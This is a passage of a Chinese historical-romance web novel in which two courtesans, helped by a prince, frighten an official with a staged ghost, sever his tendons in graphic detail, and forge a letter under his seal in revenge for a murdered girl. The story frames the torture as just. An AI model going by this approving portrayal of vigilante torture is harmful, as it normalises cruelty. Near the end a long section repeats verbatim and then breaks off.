民女吗?思忖一二,殷戈止摇头,这点小事,实在用不着他出马。
“那就请他明日黄昏到梦回楼一叙吧。”
“是。”
梦回楼的生意已经回转了不少,食色之人,大多也只看重美色,谁管那些个纷争纠葛?所以这天黄昏,李勋到梦回楼门口的时候,看见的就是姑娘们迎风招展,恩客们络绎不绝。
“好地方啊!”眼里露出兴奋的神色,李勋连连点头,心想殷大皇子邀他来这种地方,肯定不是想审查他。
放心地跨进门,金妈妈一瞧见他就笑嘻嘻地引他上楼:“大人这边请啊。”
三楼之上一片黑暗,没一间屋子亮着灯,李勋有点奇怪:“这层楼,被人包了?”
“可不是么?有大方的客人包下来了,只接待您一位。”掩唇一笑,金妈妈站在二楼的楼梯上不走了:“您只管上去就是,里头啊,姑娘不少,不管闹出什么动静,都没人会去打扰的。”
这么好?搓了搓手,李勋意味深长地笑了两声,然后提起衣摆就往上跑。
所有的屋子都是黑的,但有一间屋子开着门,里头隐隐有姑娘的娇笑声。
他经常逛窑子,但梦回楼这种花销挺大的地方,是没怎么来过的,有此机会,当然要好好放纵一番了!
兴奋地跨进那屋子,李勋先拱手:“殿下,卑职来迟,还望赎罪!”
旁边有香软的身子缠上了他,纱巾在他面前一晃,咯咯笑道:“大人来这么迟,可叫奴家们好等。公子说了,要先伺候好您,要是伺候不好,咱们就没赏钱了!”
“是呀。”又有姑娘靠过来,玉手将他的腰带一扯,声音酥得人骨头软:“来嘛~咱们先来捉迷藏?”
一口酒喂在他唇边,李勋张口就喝,任由她们用腰带捆住他的眼睛,然后笑道:“殿下待卑职真是不薄啊!如此,那卑职也不推辞了!”
说着,伸手就往旁边的人抓去。
一声娇呼,姑娘们四散开去,笑声不绝于耳。李勋素来是好色之人,更喜欢玩花样,对这游戏当真是喜欢极了,出手飞快地抓着个姑娘,那姑娘就笑道:“奴家微云。”
说完就挣脱开,跑了个没影儿。
李勋大笑,接着抓一个,问:“你是谁啊?”
“奴家金玲呀。”
抓上了瘾,
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李勋转着圈儿,突然自己左脚拌右脚,狠狠摔在了地上。
屋子里的笑声戛然而止。
有些奇怪,李勋撑着身子想爬起来,却摸到了一点衣料,心里一喜,立马就顺着那衣裳将人抱在了怀里:“哈哈,你以为你们不出声,我就抓不住了?你是谁啊?”
“奴家,是小琴呀。”阴森森的声音,带着悠长的尾音,听得李勋一个激灵。
小琴?
猛地扯下眼上遮着的东西,眼里赫然映入一张惨白的鬼脸,眉眼间都是稚气,嘴巴血红,眼下青黑,似哭似笑地看着他道:“大人不记得小琴啦?”
一股子凉意从脚底板升到心窝,李勋吓得后退几步,好半天才惊叫出声:“鬼啊——”
“咯咯咯。”慢慢地朝他爬过去,“小琴”幽幽地道:“大人不是最喜欢奴家了吗?说要奴家伺候一辈子的呀,现在奴家来伺候您了,您别走呀……”
“啊——”李勋浑身抖着四处乱窜,却发现这屋子里一个人都没有!背后的东西很缓慢地爬着,却让他觉得有死亡将近的窒息感,下意识的就去猛地拉门。
“哗啦。”门外挂着的铁链响了一声,却打不开。
惊恐万分,李勋啊啊乱叫着,一边回头看朝自己爬过来的鬼,一边猛地砸门:“救命啊!救命啊!”
“这不是奴家该喊的吗?”幽幽的声音在屋子里回荡,“小琴”伸手就抓住了李勋的脚踝:“大人可记得?奴家是**的?”
“我不记得!我不记得了!”一股子尿骚味蔓延开来,“小琴”嫌弃地松了手,慢慢地站起来:“大人不记得,奴家记得呀,奴家是被大人弄死在床上的……奴家才十四岁啊大人!”
恐极生怒,李勋四处看了一眼,猛地就拿起桌上的烛台朝“小琴”砸过去!
尖尖的烛台从耳边划过,风月眯眼,心想妈的幸好是她来扮鬼,要是断弦,反应没那么快,估计也就交代在这儿了。
还没想完呢,头顶上猛地一阵风,李勋手里的烛台瞬间就不见了,人也不知为何,砸到墙上去“呯”的一声响,然后滚落在地上。
眨眨眼,风月抬头看了一眼房梁上,然后继续爬到李勋身边,呜呜呜地哭:“大人还想再杀奴家一遍,那就怪不得奴家了……奴家要缠着大人,时时刻刻都陪着大人!”
惊恐地看着她,李勋一口气堵在心口,上不去下不来,终于是晕了过去。
“啧,就这点胆量?”拨开披散的头发,风月起身,端了桌上的酒,又给他灌下去点儿,然后拍了拍手:“姑娘们,动作麻利点。”
躲在里间的一群姑娘鱼贯而出,断弦走在最后,眼里余恨未消。
拍了拍她的肩膀,风月道:“别让他死得太痛快,乖,听我的。”
“是!”点头应了,断弦闭眼,接着就将李勋抬起来扔去床上,然后一群人围着等。
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第70章 生不如死
李勋醒来的时候,只觉得眼前花白,好不容易缓过神来,就听得旁边的姑娘关切地问他:“大人,您怎么了呀?”
惊慌地侧头,却见是个正常的姑娘,李勋长出一口气,问:“你们刚刚都在吗?”
“在啊。”金玲道:“咱们正玩得好好的,您就晕倒了!”
当真是撞鬼了?李勋皱眉,只觉得头痛欲裂,抬眼看向四周,发现床边围了三个姑娘,也没仔细看,就问:“你们叫什么名字?”
“奴家微云。”
“奴家金玲。”
最后一个姑娘低着头没吭声,李勋奇怪地看着她:“你怎么不说话?”
缓缓抬头,断弦笑得诡异,幽幽地道:“奴婢小琴。”
刚松下去的气顿时化作厉鬼的爪子扼住他的咽喉,李勋瞪大眼,惊恐地往床里头退,一边退一边拿起枕头疯狂地朝断弦砸:“鬼啊!!!”
侧身躲开,断弦一脸委屈:“奴家怎么就是鬼了?”
金玲和微云护着她躲开,就见李勋跟疯了一样地往被窝里钻,一双眼睁得极大,眼白突出,瞳孔紧缩,像是疯魔了一般,不停地发着抖。
门打开,风月拢着杏色的袍子进来,关切地问:“哎呀,这是怎么了呀?大人,您没事吧?”
说着,又斥了旁边三个姑娘一声:“你们怎么伺候的?”
一看见她,不知怎么的,李勋觉得分外有安全感,猛地就伸手过来抓着风月的手腕,颤颤巍巍地道:“快让她们出去!快让她们出去!”
“大人别紧张,她们伺候不周到,奴家会好生教训的。”眨眨眼,风月临时充当了一下金妈妈的角色,朝他笑得春暖花开,然后朝断弦使了个眼色。
断弦颔首,低头跟着其余两个人一起出去。
屋子里没别人了,李勋却依旧是惶惶不安,整个人显得格外焦躁,抓得风月手腕发青:“你们这儿有鬼……有鬼!”
“大人说笑。”风月柔声安慰他:“咱们楼里一向人多,哪里来的鬼呢?一定是大人看错了。”
“那个小琴……那个小琴……”僵硬地摇头,李勋道:“小琴已经**很久了,怎么会在这里!”
“小琴?”一脸莫名其妙地看着他,风月无辜地道:“方才是微云、金玲和断弦三位姑娘,哪里来什么小琴?您听错了吧?”
听错了?李勋一愣,扫了一眼这房间,急促地喘着气,许久才缓过神来。
是他听错看错了吗?应该是的,这世间哪里来的鬼?小琴**那么久了,怎么可能这个时候才来找他?
捂着被子冷静了好一会儿,李勋缓了过来,白着脸道:“那……应该是我听错了。”
“大人休息一下,奴家给您倒杯茶。”风月起身,走到前头的圆桌边,拿起茶杯,轻轻往桌上一放。
“吱呀”一声,门被推开了,却没人进来。
李勋一惊,侧头看过去,就见一抹白色的影子披头散发地爬了进来。
“啊啊啊!!!”
惨叫声直穿云霄,震得风月忍不住捂了捂耳朵,端着茶好奇地回头看他:“大人又怎么了?”
“鬼!鬼!当真是鬼啊!你看!”有风月在,李勋还能说得出话,猛地就跳下床,将风月拉着,躲在她身后。
顺着他指的方向看了一眼,风月一脸莫名其妙:“哪儿有鬼啊?奴家怎么没瞧见?”
她瞧不见?心里剧烈一沉,李勋吓得差点不能呼吸,张牙舞爪地跟她比划:“地上……地上爬着的!爬过来了!”
低头看了看,风月伸手往地上那白影的头顶摸了摸,还是一脸茫然:“没有啊。”
那鬼抬起头来,一张惨白的脸,猛地朝李勋的方向张开血盆大口。风月蹲在她旁边一起看向他的方向,表情茫然,眼里却有一丝阴森闪过,微微勾起了唇。
此情此景,实在是比他一个人遇见鬼更加可怖!李勋想呼吸,却怎么也喘不上气,瞪着她们看了半晌,白眼一翻,又晕了过去。
“真是不禁吓啊。”风月摇头,伸手将旁边断弦披散的头发挽去耳后,轻声问:“会用刀吗?”
“本是不会。”断弦冷哼:“看见他,不会也得会。”
“很好。”拍拍手,风月去关了门,然后抬头看着房梁上头道:“观止大人,帮个忙呗?”
殷戈止说他没空参与这种小事,所以把观止借给她防身,也幸好观止来了,不然方才她还真可能打不过李勋。
正想着呢,房梁上衣袂一展,殷大皇子面无表情地落在了她面前。
风月:“……”
不是说不来吗!这是啥?惊喜?
“要做什么?”他不耐烦地问。
自己来的还这态度?风月扁嘴,心想这位大爷是越发的不好伺候了。不过眼下有求于人,她还是笑道:“帮忙守一下,等会他要是疼醒了,您抬抬贵手,把人打晕怎么样?”
看她一眼,殷戈止道:“你想凌迟他?”
掩唇媚笑,风月摇头:“奴家是那么血腥的人吗?咱们这些个弱女子,怎么会做那么残忍的事情?”
“顶多挑断他手筋脚筋,让他动弹不得,再让断弦好生伺候他。”
断弦捏了**,有些顾虑地看了殷戈止一眼。
这人虽不知是什么来头,但毕竟是个外人,瞧见她们做这些事情,会觉得她们蛇蝎心肠吧?瞧瞧,都不说话了。
犹豫片刻,断弦伸手扯了扯风月的衣袖,小声道:“姑娘……”
话还没说出来,那头的殷大皇子开口了:“挑的时候小心些,别让他流血过多**。我这儿有药,还能吊着他的命。等挑完了,先不送他回去,就在梦回楼呆着吧,还有用。”
断弦:“……”
“好。”风月认真地点头,然后转头看着她问:“你想说什么?”
“……突然没什么想说的了。”咽了口唾沫,断弦道:“动手吧。”
想起自己惨死的妹妹,想起自己这半世的飘零,断弦捏着**的手分外有力,风月一给指了地方,她手起刀落,半分不差。
“啊——”
李勋疼醒了,剧烈地挣扎起来。然而,刚睁眼还没看清楚四周是什么情况,殷
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戈止一巴掌就将他重新送进了黑暗里。
“很好!”风月笑嘻嘻地看着殷戈止:“公子真是神功盖世,威震四方!”
轻哼一声,殷大皇子不屑地道:“这点小事。”
果然人都是喜欢夸奖的啊!风月伸手就抱了他的大腿,要是有尾巴,一定摇得特别欢:“再小的事情,只要是您做的,奴家都觉得格外震撼!”
斜她一眼,殷戈止道:“快点弄完。”
“嗯。”断弦应了,**一点点撕裂床上的人的手筋脚筋,刀刃和血肉厮磨的畅快之感,总算让她心里好受了些。
这个该千刀万剐的畜生!她很想一刀直接送进他胸口,但是想想风月的话,当真是太便宜他了!
做过多少孽,就用十倍的东西来偿还吧!
李勋疼得撕心裂肺,但一旦疼醒,迎接他的就是殷戈止的一记硬掌,以至于最后一根脚筋挑断的时候,断弦觉得,床上的人已经死得差不多了。
“好可怜啊。”风月假意擦了擦眼泪,然后认真地看着断弦道:“这位恩客这么可怜,你就好生照顾他几日吧?木轮椅在后院,早就准备好了的。”
断弦笑了,接过殷戈止的药给他吊命,然后拿白布包扎他的伤口,分外温柔地道:“奴家会好生伺候的。”
保证他一睁开眼就看见小琴,做梦也不得安稳!
床上满是血腥,殷戈止瞧着,道:“你要是帮我个忙,今日恩情一笔勾销不算,我还能让你暂住使臣府。”
“什么忙啊?”风月问。
“这个人,也算是周臻善的亲信。”低头下来凑在她耳侧,殷戈止小声道:“赵麟已经定案,周臻善也丢了命,可不少该死的人还活得逍遥,你想个法子,借他之手,传一封信去冷严那里。”
眼波流转,风月笑了,食指往他心口一点,娇嗔道:“就您最坏了!”
然后立马去拿纸笔。
疼痛中昏睡的李勋脑子有过片刻的清醒,他想到了今日请他来的人是谁,也想到了那殷大皇子最近的动作,不由得惶恐不已。
他得找人救命啊,得找人来救他!
挣扎着醒过来,四肢疼痛无比,完全不能动弹,尖锐的痛觉刺得他又是一阵惨叫!
“大人别紧张啊,等伤口愈合了就不痛了。”幽幽的声音从身后传来,李勋一惊,这才发现自己坐在木轮椅上,背后的人正推着他,不知道要往哪儿去。
“你……你想做什么?”他喘息,回头看了这人一眼。
断弦笑得动人又阴森:“奴家什么也不想做啊,只想送您回家。”
送他回家?李勋神智不是很清楚,只觉得难受万分,不如**痛快!
疼啊……
不阴城下着小雨,断弦没撑伞,就这样步履缓慢地,一点一点地推着他回去李家院子。
风月吐着瓜子皮,站在露台上看着远处那慢慢被烟雨吞噬的影子,心情愉悦。
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第71章 殷戈止的弱点
“你笑什么?”旁边的殷戈止嫌弃地看着她:“跟你又没什么关系。”
嚼着瓜子转过头,风月道:“善有善报,恶有恶报,看着难道不是件痛快事吗?”
嗤笑一声,殷戈止冷声道:“你以为,天底下所有的善恶,都会有自己该得的报应?”
捏瓜子的手一顿,风月不高兴地嘟嘴:“您就这般看不得奴家开心嘛?”
“早点收拾回去做饭吧。”冷漠地起身,殷戈止道:“是时候用膳了。”
瞪大眼,风月下意识地抓着桌子问:“奴家还得回去做饭?”
“不然呢?”殷戈止平静地道:“方才你帮了我的忙,所以恩赐你,可以回去继续住。”
谁要这种恩赐啊!她在梦回楼多自由啊,鬼才愿意去给人当丫鬟!风月皱眉。可一回头看见床上那浓厚的血腥味儿,再想想方才那疯子钻自个儿被窝里缩着,她打了个干呕,顿了顿,还是决定领赏谢恩。
“奴家这就回去做饭啊,不过院子里没什么菜了,咱们顺路去买点吧!”
买菜?殷戈止皱眉,一脸嫌弃地道:“你让我去买菜?”
“不然呢?”看看他身后,风月道:“您也没带观止出来啊!”
“……”这么无聊的事情,殷大皇子绝对不做,一甩脸子转身就走!谁爱买谁买去!
然而,走到楼下,外头小雨变成了大雨。而他,没带伞。
惆怅地看了一眼天空,殷戈止觉得,他不该一时兴起跑过来看的,还是该让观止来,哪怕在院子里闲着,也比陪这女人疯来得好。
“走吧!”撑开桃红色的油纸伞打在他头顶,风月笑眯眯地就拉着他往雨里跑。
“我是大魏的皇子。”隐忍地看着前头的路,殷戈止开口吐出了这么一句。
“嗯呐,奴家知道。”小鸡啄米似的点头,风月道:“您很威风,也很厉害。”
“所以呢?”
还让他这么威风的人去买菜?
“所以……”踮着脚尖踩着水,风月突然转头看他,眼里波光动人,笑着道:“所以奴家喜欢您啊。”
一脚踩在水里,水花微微溅起,带了几轮涟漪。
殷戈止侧头,深深地看了她一眼。
“你们梦回楼的女人,挂牌之前,是不是都训练过如何说话哄客人开心?”
扭着腰笑得花枝乱颤,风月眨眼,万分得意地道:“所以奴家是让您开心了?哎呀呀,那可真是本事见长。”
头顶上的伞被她捏得摇摇晃晃的,雨水从伞檐落下来,打在他的肩头。殷戈止皱眉,伸手捏住她撑伞的手,将人往自己怀里带了带。
风月一愣,抬眼就看见他长而密的睫毛,下意识地就咽了口唾沫。
这人,长得可真他奶奶的好看。
雨打在伞上,噼里啪啦的,伞下却像是另一个世界,宁静又旖旎。
良久之后,殷戈止别开头道:“我来撑伞。”
“好。”垂了眼,风月乖乖巧巧地依偎着他,往集市而去。
下雨天的集市几乎没什么人了,卖菜的小贩都躲在旁边店铺的屋檐下头,人挤人的,挤得殷大皇子眉间都有了“川”字。
风月蹦跶在前头,却是买得不亦乐乎。不知是不是不阴城的小贩们朴实,菜价肉价都很低,有的大婶甚至双颊飞红地多送她一颗白菜。还有小姑娘支支吾吾的,最后摆手不收她钱,白送她一斤豆子。
“这里的菜真划算啊!”抱着一大堆东西,风月也没敢让后头的爷搭把手,等走出了人群,才回头看他,得意地展示了一下自己怀里的东西:“一共才一钱银子不到!”
脸色阴沉地瞪着她,殷戈止没说话,撑伞就走。
“哎哎哎!”风月跟上去,艰难地抱着一大堆东西,可怜巴巴地道:“您不帮忙就算了,别走那么快啊,这都是咱们自己要吃的!”
下颔线收紧,殷戈止侧头看她,居高临下地问:“拿不动了?”
风月立马点头,眨巴着眼睛:“您……纡尊降贵一下?”
轻哼一声,殷戈止低骂了一声“麻烦”,然后就伸手过来。
风月一喜,正想把东西塞他手里,却见这人越过她递过去的东西,将伞插在她怀里的菜堆里,身子一低,双手一搂,径直将她抱了起来!
鞋上沾着的水在空中划了条弧线,本来摇摇欲坠的肉和菜现在全在她怀里兜着了,踏实得很。风月愕然,腾出手捏着伞柄,茫然地眨了眨眼。
殷大皇子面无表情,权当她是个装菜的篓子,抱着就往使臣府走。
观止正无聊地在门口看雨,冷不防就看见自家主子抱着一大堆东西回来了,定睛一看,那堆东西下头还压着个人。
“这……风月姑娘?”
干笑两声,风月虚弱地道:“观止大人,你再不来帮把手,我就要被压**!”
回过神,观止连忙帮着搬运东西,一个个的芭蕉叶拿到手里一看才发现,嘿,竟然是肉和菜?
震惊地看了一眼自家主子,观止道:“您这么高兴,难不成是因为头一次去菜市,很新奇?”
拂了身上的雨水,殷戈止没理他,一脸冷漠地就进了屋子。
风月看着那背影,手肘捅了捅观止问:“你哪儿看出来你家主子很高兴了?他一路上眼里那叫一个电闪雷鸣啊!比这雷雨还可怕!”
轻笑着摇头,观止道:“我家主子很高兴,没有生气,姑娘请放心。”
是吗?这么表里不一?撇撇嘴,风月摇头,分了他一半的东西,然后跟他一起抱着食材去厨房。
天阴沉得可怕,断弦将李勋送到李家门口,便止住了步子。李勋淋着雨大喊大叫,院子里没一会儿就有人出来,愕然地看着这场景,小声问:“大人这是怎么了?”
李勋没有正室,院子里的女人要么是战俘,要么是强抢的民女。
断弦微笑,招手让那姑娘过来帮忙把他抬进门,然后道:“大人出了点意外,我是来照顾他的。”
嘶吼不已,李勋瞪大眼看着那姑娘,吼道:“快把她赶走!她是个鬼,是个鬼!”
这声音委实可怕,吓得小姑娘转头就跑,一边跑一边尖叫,惊得四周打开的房门都纷纷再度合上。<
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竟然没一个人来看看他到底怎么了。
李勋有点绝望,眼神都涣散了,看着断弦道:“你杀了我吧。”
一阵娇笑,断弦问:“大人这就不想活了?”
痛苦地闭上眼,李勋眼泪直流。
轻蔑地笑了一声,断弦放开那木轮椅,转头就在这宅子里四处看。宅子不大,五间卧寝、一间前厅、一间书房,她几乎是不费力气地就找到了书房里李勋的印章,拿出风月给的信,轻轻巧巧地盖上,然后出去,笑道:“大人深陷苦难,奴家这就替大人发信求救,希望能有人救大人于水火。”
惊恐地看着她,李勋崩溃了:“你能不能消失?!”
“不能。”伸手捏了捏他包扎好了的手腕,断弦勾唇:“奴家会好好伺候大人的。”
“轰隆”一声雷响,大雨倾盆,肆意冲刷着不阴城。
使臣府里烛光盈盈,仿佛将满城烟雨都隔绝在外。风月的晚膳做好了,殷戈止放下书,看了一眼满满当当的桌子,心里莫名地觉得踏实。
不过踏实归踏实,嘴上还是忍不住挤兑一句:“真慢。”
指了指自己的手,风月道:“大夫让我阴雨天小心呢,会痛,奴家忍着痛给您做晚膳,还嫌奴家慢?”
眉心微皱,殷戈止看了她的手一眼,起身,到旁边的柜子里翻了瓶东西出来:“拿去用。”
双手接着那小瓷瓶,只觉得入手温润,打开瓶塞闻了闻,药香四溢,是顶好的伤药。
“多谢殿下。”一点不客气地收下,风月厚着脸皮道:“今天天气这么不好,奴家可以睡您身边吗?”
“怎么?”斜她一眼,殷戈止道:“你还怕打雷?”
风月耸肩:“大概是怕吧。”
魏国大皇子殷戈止,顶天立地,战功赫赫,看起来毫无弱点。但风月知道,这丫有个传出去很丢人的秘密,那就是——怕打雷。
以前同他睡的时候,遇见过一回打雷的天气,这厮浑身僵硬,抱着她死活不撒手。事后问他是不是怕,这位殿下编了个很挫的借口:“没有,只是冷。”
想起来风月都想大笑三声,然而,殷戈止极其要面子,不给他面子的人基本都**,念着这个,风月也得装作什么都不知道,楚楚可怜地道:“可以吗?”
殷戈止面无表情,半晌才勉强答应:“可以。”
努力憋着笑,风月飞快地吃了三碗饭,收拾了碗筷,让观止去接灵殊,然后就老实地上床给人家暖被窝了。
雷声轰鸣,殷戈止脸色微白,挥袖灭了灯,上床就将风月圈在怀里。
风月贴着他,一声雷下来,就哎呀哎呀地喊:“好怕呀!”
抱着她的人,就名正言顺地手一紧,将她搂得死死的。
咧嘴笑着,风月问:“殿下也怕打雷吗?”
“不怕。”
“咔——轰隆——”话刚落音,巨大的雷就在屋子正上空炸响!
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第72章 好生轮回
风月瞬间就觉得腰身一紧,被人勒得差点没喘过气!
“殿下!”咳嗽两声,风月哭笑不得:“不是不怕吗?您轻点啊!”
脸上表情纹丝未动,殷戈止手臂僵硬,语气平静:“你怕而已。”
“是是是,奴家怕。”风月点头:“那殿下握着奴家的手吧?”
抿紧了唇,殷戈止伸手,找到她的手,缓缓地十指相扣。
堂堂大皇子的手,握过寒铁长戟,洒过敌人热血,现在一片冰凉,还轻轻发抖!
实在憋不住了,风月仰头大笑:“哈哈哈——”
背后一寒,殷戈止狠狠地捏了她一把:“笑什么?!”
“奴家……奴家没笑啊哈哈哈……”乐不可支,风月直打滚儿,努力想给他留点面子,但是打雷天气里的殷戈止实在是太可爱了,像没了刺的刺猬,软绵绵的,还要吓唬人!
黑了半张脸,殷戈止咬牙切齿地道:“闭嘴!”
“好。”伸手把自己的嘴捏成个鸭子嘴壳,风月收住了笑声,一本正经地嘟囔:“不笑了,奴家保证!”
结果话没落音,又是一道响雷,吓得殷大皇子微微一抖,身子瞬间僵硬如铁。
“噗哈哈哈——”捏着嘴也不管用了,风月知道必定大祸临头,但是,这是在没法忍着不笑啊!于是一不做二不休,趁着这人还没反应过来,挣脱开他就往床下跑。
“你给我回来!”床上的人一声怒喝。
风月边躲边擦眼泪:“奴家……奴家缓缓再回去,免得被您给掐**!”
殷戈止磨牙,身子发冷,不得动弹,心里只想把风月掐在手里,掐成一只青蛙!
“咔啦——”雷声不断,他闭眼,紧紧抓着枕头,努力让自己入睡。
有些弱点是天生的,真的不是他能选择的,要是可以的话,他愿意用自己五成的武功,换上天让他不怕打雷!
正想着呢,突然觉得身上一暖。
殷戈止满是戾气地睁眼,就看见风月穿着小肚兜,笑得很是温柔地趴在他身上。
体温从她裸露的肌肤穿透他的衣裳传到他的心口,眉头突然就松了松。
“您很冷吗?”她笑得奸诈地问。
殷戈止很想说不冷,堂堂七尺男儿,怎么能对个女人低头?可是……她身上当真是很暖和啊,暖得他微微眯起眼睛,手搂着她,压根舍不得放开。
风月笑得潋滟,手往他衣襟里伸,摸着他冰凉的胸膛,干脆就将人腰带解了,敞开衣裳,整个身子覆上去。
温暖瞬间传遍四肢,殷戈止睁眼看着她,突然觉得心口里的东西跳得厉害。
大概是被冷着了,一受到温暖,就亟不可待地跳动了起来吧。他想,留着这人在院子里也不错,至少这种天气,可以给他暖暖身子。
外头的雷声好像没那么大了,殷戈止伸手,按着她的腰肢,轻轻地舒了口气。
这一晚上,两人当真是什么都没做,就这么抱着睡了一个踏实觉。殷戈止甚至做了个梦,梦见那不知名姓的人抱着他,怪声怪气地安慰:“别怕啊,打雷没什么的,抱着我就好了。”
梦里满是芬芳的香气,以至于他睡得极好,算是一年多以来最好的一次。
第二天睁开眼,眼前映入的就是风月那一双眨巴眨巴着的大眼睛。
迷茫了一会儿才想起昨晚发生了什么,殷大皇子脸色瞬间变得很难看!
风月反应极快,推开他就滚下床,捂着脑袋道:“哎呀哎呀,昨晚的雷声吓死奴家了!幸好有殿下在!”
这虚假的笑意,浮夸的语气,怎么看都有点找死的味道。殷戈止冷笑,撑着床弦就要下来,却听得外头观止道:“主子起身了?那奴才进来了。”
瞳孔猛地一缩,殷戈止飞快地伸手,捞起地上那不要脸的只穿着肚兜的人,狠狠往被子里一塞。
观止推门进来,端着水道:“风月姑娘买的石灯可真不错,昨儿那么大的风雨,一个都没倒。”
“你下次进来,先敲门。”打断他的话,殷大殿下不悦地道:“横冲直撞的像什么样子!”
被自家主子吼得一个激灵,观止一拍脑门想起来这院子里还有人,连忙低头道:“属下知错!”
“行了,出去。”
“是。”
水盆放在架子上了,殷戈止没好气地道:“起来洗脸。”
扒拉下被子,露出一双滴溜溜乱转的眼睛,风月嘿嘿笑了两声,伸手捡了地上的衣裳就想穿。
“你脏不脏啊?”有洁癖的大爷不舒坦了:“扔地上了还穿?”
委屈地扁嘴,风月道:“奴家没带别的裙子来啊!”
嫌弃地看她一眼,殷戈止披了衣裳起身,打开柜子就扔了一套袍子给她:“先穿着,等会让灵殊给你送来。”
接着袍子看了看,风月叹息,老老实实地换上。只是她这身板跟殷戈止那身材差太多了,袖子长了好大一截,衣摆也拖在地上,无奈之下,只能拢了袖子,将衣摆捞起来抱在怀里,露出一双细长的腿。
殷戈止眯眼。
外头时辰还早,今日没什么事,他觉得可以就在屋子里待着,不用出门了。
冷府。
冷严一大早就收到一封信,本是不怎么在意地打开,却被里头写的东西吓得脸色发白。
周臻善失踪,朝里不少人说是畏罪潜逃,但到底没人有证据,于是护城军统领的职位还给他留着。他也抱着一丝侥幸,希望周大人能回来理一理这混乱的局面,给他指条出路。
谁知道,李勋竟然说,周大人是畏罪潜逃了,罪证都在殷戈止手里,他也被抓了起来,希望他去营救,不然,他知道的事情,会全部成为呈堂证供,落在殷戈止的手里。
怎么会这样?!
李勋是周大人的人,他依稀知道,但周大人难不成把秘密都告诉他了?不至于吧,他算个什么东西?
心思百转,冷严定了定神,立马起身去找人。
断弦在李勋的床头坐了一晚上,时而哭泣,时而浅笑,吓得李勋一夜未眠,完全崩溃,眼神瞧着都有些痴傻了。
他说:“我错了,我知道错了,我不该害死你。可是你死都**,为什么不放过我?”
断弦微笑:“知错就有用,那律法何为?”
“律法……”喃喃念了两声,李勋失笑:“律法是管百姓用的,还能管到我头上?你死无对证,除非你自己动手把我杀了,不然谁能定我的罪?”
看了一眼外头的天色,断弦起身,朝他笑了笑:“我也想亲手杀了你,但是有人跟我说,不能轻贱自己的性命。与其杀了你去抵命,不如等着看你死就可以了。”
眼神微动,李勋有点高兴:“你不杀我了?”
“脏手。”朝他露出一个诡异的笑,断弦道:“我等着给你收尸。”
她不杀他,他怎么可能会死?!李勋笑得脸都扭曲了,眼神戒备地看着她,看她缓缓离开了这房间,有种劫后余生的狂喜。
然而,这种狂喜只持续了一炷香的时间,就在他大声喊着自己院子里的女人来救自己的时候,一个黑衣人从天而降,扛着他就飞出了院子。
尚未愈合的四肢这么一掰扯,痛得他大叫,然而那人并未理会,带着他到了他府邸后头的小巷,一把将他扔在角落。
疼得嚎哭,李勋睁眼看了看面前的人,不由地又是一阵狂喜:“大人!”
冷严悲悯地看着他,问:“你没事吧?”
“幸好大人相救,幸好大人相救啊!”李勋抖着声音道:“卑职要被他们害**……要**……”
“别怕。”冷严和善地道:“你先告诉我,你知道些什么?”
微微一愣,李勋很是茫然地看着他:“什么?”
“你不是说,知道些东西,要是落在殷戈止的手里,会成为呈堂证供?”冷严皱眉。
“我……”脑子里一团浆糊,李勋“我”了半天也没说出什么有用的东西来。冷严不耐烦了,就问了一句:“你跟殷戈止说过什么吗?”
“没有啊!”李勋想摇头,可头刚一转,脖子上就是一凉。
“没有就好。”松了口气,冷严笑了笑,挥手让旁边的人收了长剑:“那你**吧,别留着当祸患了。”
眼睛陡然睁得很大,李勋怔愣地看着前头的人,他们冷漠地转身,走得头也不回。
为什么啊?他想不明白,为什么要杀了他啊?
不敢呼吸,他一时半会儿也没死,就这么怔愣地看着前方。
有廉价的绣鞋踩在了巷子的石板路上,李勋抬了抬眼睛,就看见“小琴”冲他笑道:“下地狱去吧,十八层,少一层都不行!”
像是诅咒一般,他觉得浑身疼痛极了,听着这话,终于是扭曲着身子倒在地上,挣扎一番之后,咽了气。
鲜血遍地,红了断弦的眼,她站在巷子口没走,看着那肮脏的尸体,身子突然觉得很轻。抬头看了看澄清的天空,她咧嘴,跪下来朝着西面拜了几拜。
“琴儿,大仇已报,好生轮回。来生,别找我这种没用的人当姐姐了。”
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委屈地扁嘴,
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风月道:“奴家没带别的裙子来啊!”
嫌弃地看她一眼,殷戈止披了衣裳起身,打开柜子就扔了一套袍子给她:“先穿着,等会让灵殊给你送来。”
接着袍子看了看,风月叹息,老老实实地换上。只是她这身板跟殷戈止那身材差太多了,袖子长了好大一截,衣摆也拖在地上,无奈之下,只能拢了袖子,将衣摆捞起来抱在怀里,露出一双细长的腿。
殷戈止眯眼。
外头时辰还早,今日没什么事,他觉得可以就在屋子里待着,不用出门了。
冷府。
冷严一大早就收到一封信,本是不怎么在意地打开,却被里头写的东西吓得脸色发白。
周臻善失踪,朝里不少人说是畏罪潜逃,但到底没人有证据,于是护城军统领的职位还给他留着。他也抱着一丝侥幸,希望周大人能回来理一理这混乱的局面,给他指条出路。
谁知道,李勋竟然说,周大人是畏罪潜逃了,罪证都在殷戈止手里,他也被抓了起来,希望他去营救,不然,他知道的事情,会全部成为呈堂证供,落在殷戈止的手里。
怎么会这样?!
李勋是周大人的人,他依稀知道,但周大人难不成把秘密都告诉他了?不至于吧,他算个什么东西?
心思百转,冷严定了定神,立马起身去找人。
断弦在李勋的床头坐了一晚上,时而哭泣,时而浅笑,吓得李勋一夜未眠,完全崩溃,眼神瞧着都有些痴傻了。
他说:“我错了,我知道错了,我不该害死你。可是你死都**,为什么不放过我?”
断弦微笑:“知错就有用,那律法何为?”
“律法……”喃喃念了两声,李勋失笑:“律法是管百姓用的,还能管到我头上?你死无对证,除非你自己动手把我杀了,不然谁能定我的罪?”
看了一眼外头的天色,断弦起身,朝他笑了笑:“我也想亲手杀了你,但是有人跟我说,不能轻贱自己的性命。与其杀了你去抵命,不如等着看你死就可以了。”
眼神微动,李勋有点高兴:“你不杀我了?”
“脏手。”朝他露出一个诡异的笑,断弦道:“我等着给你收尸。”
她不杀他,他怎么可能会死?!李勋笑得脸都扭曲了,眼神戒备地看着她,看她缓缓离开了这房间,有种劫后余生的狂喜。
然而,这种狂喜只持续了一炷香的时间,就在他大声喊着自己院子里的女人来救自己的时候,一个黑衣人从天而降,扛着他就飞出了院子。
尚未愈合的四肢这么一掰扯,痛得他大叫,然而那人并未理会,带着他到了他府邸后头的小巷,一把将他扔在角落。
疼得嚎哭,李勋睁眼看了看面前的人,不由地又是一阵狂喜:“大人!”
冷严悲悯地看着他,问:“你没事吧?”
“幸好大人相救,幸好大人相救啊!”李勋抖着声音道:“卑职要被他们害**……要**……”
“别怕。”冷严和善地道:“你先告诉我,你知道些什么?”
微微一愣,李勋很是茫然地看着他:“什么?”
